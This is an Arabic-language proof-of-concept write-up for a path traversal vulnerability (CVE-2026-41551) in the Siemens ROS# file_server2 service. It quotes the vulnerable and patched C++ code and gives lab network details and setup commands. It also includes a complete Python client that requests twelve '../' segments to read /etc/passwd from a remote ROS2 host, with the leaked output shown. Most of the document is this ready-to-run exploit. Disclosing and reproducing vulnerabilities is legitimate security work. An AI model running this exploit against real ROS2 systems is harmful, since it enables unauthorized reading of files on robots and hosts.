
إثبات مفهوم لاستغلال CVE-2026-41551، وهي ثغرة اجتياز المسار في خادم الملفات ROS# من سيمنز، توضح قراءة الملفات عن بُعد عبر طلبات package:// مصممة خصيصًا.
الثغرة: تجاوز المسار النسبي في خدمتي
file_server/file_server2في Siemens ROS# CVSS v3.1: 9.1 (AV:N / AC:L / PR:N / UI:N / S:U / C:H / I:H / A:N) الإصدارات المتأثرة: ros-sharp جميع الإصدارات < V2.2.2؛ الإصدار المُصلَح: V2.2.2 (أُضيفvalidate_path) الخلاصة: يمكن استغلال هذه الثغرة عبر المضيفين، وليس فقط محليًا. فيما يلي خطوات إعادة الإنتاج عن بُعد من «المهاجم 153 → الضحية 152».
get_file_callback يلصق مسار الطلب مباشرةً بدليل مشاركة الحزمة دون التحقق من التجاوز:
std::string address = request->name.substr(10); // إزالة "package://"
std::string package = address.substr(0, address.find("/"));
std::string filepath = address.substr(package.length());
std::string directory = ament_index_cpp::get_package_share_directory(package);
directory += filepath; // قابل للتحكم من المستخدم، يتضمن "../"
std::ifstream inputfile(directory.c_str(), std::ios::binary); // تجاوز لقراءة أي ملف
طلب PoC package://file_server2/<../×12>etc/passwd، يخرج من دليل مشاركة الحزمة إلى الجذر ثم يقرأ ملفات المضيف الضحية.
أُضيف validate_path: أولًا فحص تجاوز المسار، ثم قائمة بيضاء للامتدادات، وأخيرًا استخدام std::filesystem::canonical للتأكد من عدم الخروج من دليل الحزمة؛ save_file معطّل افتراضيًا.
bool has_traversal(const std::string& path) { // منع ".." و "."
for (const auto& part : std::filesystem::path(path))
if (part == ".." || part == ".") return true;
return false;
}
bool is_path_safe(const std::string& base_dir, const std::string& full_path) {
auto base = std::filesystem::canonical(base_dir);
auto target = std::filesystem::weakly_canonical(full_path);
auto [end, _] = std::mismatch(base.begin(), base.end(), target.begin());
return end == base.end(); // يجب أن يبقى داخل دليل الحزمة
}
bool validate_path(...) {
if (has_traversal(filepath)) { warn("Path traversal attempt blocked"); return false; }
| الدور | عنوان IP للمضيف | النظام | ROS | الوصف |
|---|---|---|---|---|
| الضحية | 192.168.171.152 | Ubuntu 22.04 | Humble | يشغّل عقدة file_server، الملف المقروء موجود على هذا الجهاز |
| المهاجم | 192.168.171.153 | Ubuntu 22.04 | Humble | على نفس الشبكة الفرعية، يرسل استدعاء PoC لخدمة الضحية |
طوبولوجيا الشبكة (نفس ROS_DOMAIN_ID، اكتشاف DDS عبر المضيفين):
المهاجم 192.168.171.153 الضحية 192.168.171.152
+---------------------------+ +---------------------------+
| ros2_humble + client | (1) get_file | عقدة file_server |
| python3 poc.py | -------------> | /file_server/get_file |
| | | قراءة /etc/passwd محليًا |
| | <------------- | (2) إرجاع محتوى الملف 2930 بايت|
+---------------------------+ +---------------------------+
ROS2 DDS (UDP 7400-7500 / بث جماعي 239.255.0.x), ROS_DOMAIN_ID=0
/opt/ros/humble) و colcon على كلا المضيفين.~/ros2_ws/src/file_server2 (ros-sharp 2.2.1، إجمالي 13 ملفًا).ROS_LOCALHOST_ONLY=1، وإلا سيكون الوصول عبر الحلقة المحلية فقط ولن يمكن إعادة الإنتاج عن بُعد.source /opt/ros/humble/setup.bash
source ~/ros2_ws/install/setup.bash
export ROS_DOMAIN_ID=0
# تجميع الحزمة الثغرية (يمكن تخطيه إذا كانت مُجمّعة، إعادة التجميع غير ضارة)
colcon build --packages-select file_server2
# تشغيل العقدة (آمن بعد إعادة التشغيل: تنظيف العمليات القديمة أولًا ثم التشغيل)
# محتوى ~/start_fs.sh في الملحق أ
bash ~/start_fs.sh
sleep 2
ros2 node list # يجب رؤية /file_server على هذا الجهاز
source /opt/ros/humble/setup.bash
source ~/ros2_ws/install/setup.bash
export ROS_DOMAIN_ID=0
# نحتاج أيضًا إلى حزمة file_server2 لاستيراد نوع GetBinaryFile في العميل
colcon build --packages-select file_server2
source /opt/ros/humble/setup.bash
source ~/ros2_ws/install/setup.bash
export ROS_DOMAIN_ID=0
sleep 2
ros2 node list # يجب اكتشاف /file_server عبر المضيفين (على 152)
ros2 service list | grep file_server
# يجب رؤية: /file_server/get_file
python3 ~/poc.py
[*] Requesting: package://file_server2/../../../../../../../../../../../../etc/passwd
[*] Returned 2930 bytes
----- /etc/passwd (begin) -----
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
----- end -----
نجح المهاجم على 153 في قراءة /etc/passwd من جهاز الضحية 152.
~/start_fs.sh#!/bin/bash
source /opt/ros/humble/setup.bash
source ~/ros2_ws/install/setup.bash
export ROS_DOMAIN_ID=0
# اسم العملية يُقتطع بواسطة النواة إلى file_server2_no، تنظيف دقيق للنسخ القديمة حسب سطر الأوامر
MYSELF=$$
for p in $(ps -eo pid,args | grep "file_server2_node" | grep -v grep | awk '{print $1}'); do
[ "$p" != "$MYSELF" ] && kill -9 "$p" 2>/dev/null
done
sleep 1
# مهم: لا تقم بتعيين ROS_LOCALHOST_ONLY، وإلا سيكون الوصول عبر الحلقة المحلية فقط
setsid bash -c "ros2 run file_server2 file_server2_node > ~/file_server.log 2>&1" >/dev/null 2>&1 </dev/null &
disown
sleep 2
echo "node started: $(pgrep -af file_server2_node | head -1)"
~/poc.pyimport rclpy
from rclpy.node import Node
from file_server2.srv import GetBinaryFile
class Client(Node):
def __init__(self):
super().__init__('poc_client')
self.cli = self.create_client(GetBinaryFile, '/file_server/get_file')
while not self.cli.wait_for_service(timeout_sec=5.0):
self.get_logger().info('waiting for service...')
def call(self, name):
req = GetBinaryFile.Request()
req.name = name
fut = self.cli.call_async(req)
rclpy.spin_until_future_complete(self, fut)
return fut.result()
def main():
rclpy.init()
c = Client()
# 12 من "../" كافية للخروج من دليل مشاركة الحزمة إلى الجذر ثم الوصول إلى etc/passwd
target = "package://file_server2/" + ("../" * 12) + "etc/passwd"
print(f"[*] Requesting: {target}")
res = c.call(target)
data = bytes(res.value) if res is not None else b''
print(f"[*] Returned {len(data)} bytes")
print("----- /etc/passwd (begin) -----")
print(data[:400].decode(errors='replace'))
print("----- end -----")
c.destroy_node()
rclpy.shutdown()
if __name__ == '__main__':
main()